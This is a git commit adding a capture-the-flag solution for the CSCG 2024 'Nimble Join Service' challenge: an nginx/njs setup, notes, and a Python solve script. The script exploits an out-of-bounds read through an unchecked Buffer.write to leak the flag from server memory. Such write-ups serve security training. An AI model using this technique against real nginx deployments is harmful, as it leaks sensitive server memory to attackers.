cscg24-njs

CSCG 2024 Challenge 'Nimble Join Service'
git clone https://git.sinitax.com/sinitax/cscg24-njs
Log | Files | Refs | sfeed.txt

commit c78ddbb193433e3e36095c061690ee6c3aa715fe
parent ad4e7506e3c43bdb9e8965e8f343007972e2be7e
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sun, 14 Apr 2024 19:00:21 +0200

Add solution

Diffstat:
Asolve/Dockerfile | 12++++++++++++
Asolve/docker-compose.yml | 6++++++
Asolve/flag | 1+
Asolve/index.html | 55+++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/join.js | 60++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/nginx.conf | 63+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asolve/notes | 4++++
Asolve/solve | 20++++++++++++++++++++
8 files changed, 221 insertions(+), 0 deletions(-)

diff --git a/solve/Dockerfile b/solve/Dockerfile @@ -0,0 +1,11 @@ +FROM nginx:1.24.0 + +RUN mkdir /etc/nginx/http + +COPY ./nginx.conf /etc/nginx/nginx.conf +COPY ./join.js /etc/nginx/http +COPY ./index.html /usr/share/nginx/html/index.html + +EXPOSE 1024 + +CMD ["nginx", "-g", "daemon off;"] +\ No newline at end of file diff --git a/solve/docker-compose.yml b/solve/docker-compose.yml @@ -0,0 +1,6 @@ +services: + service: + build: + context: . + ports: + - "1024:1024" diff --git a/solve/flag b/solve/flag @@ -0,0 +1 @@ +CSCG{Ju5t_4n_0rd1n4ry_Bu6} diff --git a/solve/index.html b/solve/index.html @@ -0,0 +1,55 @@ +<!DOCTYPE html> +<html lang="en"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0"> + <title>Nimble Join Service</title> + <style> + body { + font-family: Arial, sans-serif; + line-height: 1.6; + margin: 0 auto; + max-width: 800px; + padding: 20px; + background-color: #333; + color: #eee; + } + h1 { + color: #fff; + } + h2 { + color: #ccc; + } + p { + color: #ddd; + } + code { + background-color: #555; + color: #eee; + border: 1px solid #666; + border-radius: 4px; + padding: 2px 6px; + } + a { + color: #007bff; + text-decoration: none; + } + a:hover { + text-decoration: underline; + } + </style> +</head> +<body> + <h1>Nimble Join Service</h1> + <p>This service allows you to upload files via POST. You can join your uploaded files into a single one by using the <a href="/join">join service</a>!</p> + + <h2>Upload</h2> + <p>Simply POST your data to <a href="/upload"><code>/upload</code></a>.</p> + + <h2>List/Download</h2> + <p>To list all uploaded files, visit <a href="/data/"><code>/data/</code></a>.</p> + + <h2>Join</h2> + <p>Combine your files using <a href="/join"><code>/join</code></a>. You can download files as either string or binary data.</p> +</body> +</html> diff --git a/solve/join.js b/solve/join.js @@ -0,0 +1,60 @@ +var flag = "CSCG{This_is_a_fake_flag!}"; + +// Combines several responses asynchronously into a singel reply +async function join(r) { + if (r.method !== "POST") { + r.return(401, "Unsupported method\n"); + return; + } + + let body = JSON.parse((r.requestText)); + + if (!body['endpoints']) { + r.return(400, "Missing Parameters!"); + return; + } + + // Make sure to prevent LFI since directory root does not apply to subrequests... + let subs = body.endpoints.filter(sub => (typeof sub === "string" && !sub.includes("."))); + if (subs.length === 0) { + r.return(400, "No valid endpoint supplied!"); + return; + } + + let response = await join_subrequests(r, subs); + + var ascii_error = "Error: No ASCII data!"; + + // Using alloc() instead of allocUnsafe() to ensure no sensitive data is leaked! + let reply_buffer = Buffer.alloc(response.length); + + if ( r.headersIn["Accept"] === "text/html; charset=utf-8" ) { + // Remove non ASCII character + let ascii_string = response.replace(/[^\x00-\x7F]/g, ""); + + if ( ascii_string.length == 0 ) { + // Joined response does not contain any ASCII data... + reply_buffer.write(ascii_error); + } else { + reply_buffer.write(ascii_string); + } + + // Return response as string + r.return(200, reply_buffer.toString()); + } else { + reply_buffer.write(response); + + // Return response as buffer + r.return(200, reply_buffer); + } +} + +async function join_subrequests(r, subs) { + + let results = await Promise.all(subs.map(uri => r.subrequest("/data/" + uri))); + let response = results.map(reply => (reply.responseText)).join(""); + + return response; +} + +export default { join }; diff --git a/solve/nginx.conf b/solve/nginx.conf @@ -0,0 +1,63 @@ +worker_processes 1; + +# Import njs module +# https://nginx.org/en/docs/njs/ +load_module modules/ngx_http_js_module.so; + +events { + worker_connections 1024; +} + + +http { + # Import custom njs script + # Allows to join files together + js_path "/etc/nginx/http/"; + js_import main from join.js; + + root /usr/share/nginx/html/; + + server { + listen 1024; + + # Serve index + location / { + } + + # Nginx direct file upload using client_body_in_file_only + # https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_in_file_only + location /upload { + limit_except POST { deny all; } + client_body_temp_path /usr/share/nginx/html/data; + client_body_in_file_only on; + client_body_buffer_size 128K; + client_max_body_size 50M; + proxy_pass_request_headers on; + proxy_set_body $request_body_file; + proxy_pass http://localhost:8080/upload; + proxy_redirect off; + } + + # Allows to join multiple files + # Either returns a string or binary data + location /join { + js_content main.join; + } + + # List all uploaded files + location /data { + autoindex on; + } + + } + + # Backend server + server { + server_name localhost; + listen 8080; + + location /upload { + return 200 "File uploaded"; + } + } +} diff --git a/solve/notes b/solve/notes @@ -0,0 +1,4 @@ +Buffer.write does not check wether the value being written has an adequate size.. +We can read OOB relative to the request.response.. +We generate multiple subrequests to increase the chances of hitting an +address close to the flag variable. diff --git a/solve/solve b/solve/solve @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 + +import requests +import re +import sys + +session = sys.argv[1] +baseurl = f"https://{session}-1024-njs.challenge.cscg.live:1337" + +r = requests.post(f"{baseurl}/upload", data=b"\xff" * 1024 * 4) +print(r.text) + +r = requests.get(f"{baseurl}/data/") +#print(r.text) +filename = [l for l in r.text.split("\n") if "<a href" in l][-1].split("\"")[1] + +r = requests.post(f"{baseurl}/join", json={"endpoints": [filename] * 512}, + headers={"Accept":"text/html; charset=utf-8"}) +if b"CSCG" in r.content: + print(re.findall(b"CSCG{.*}", r.content))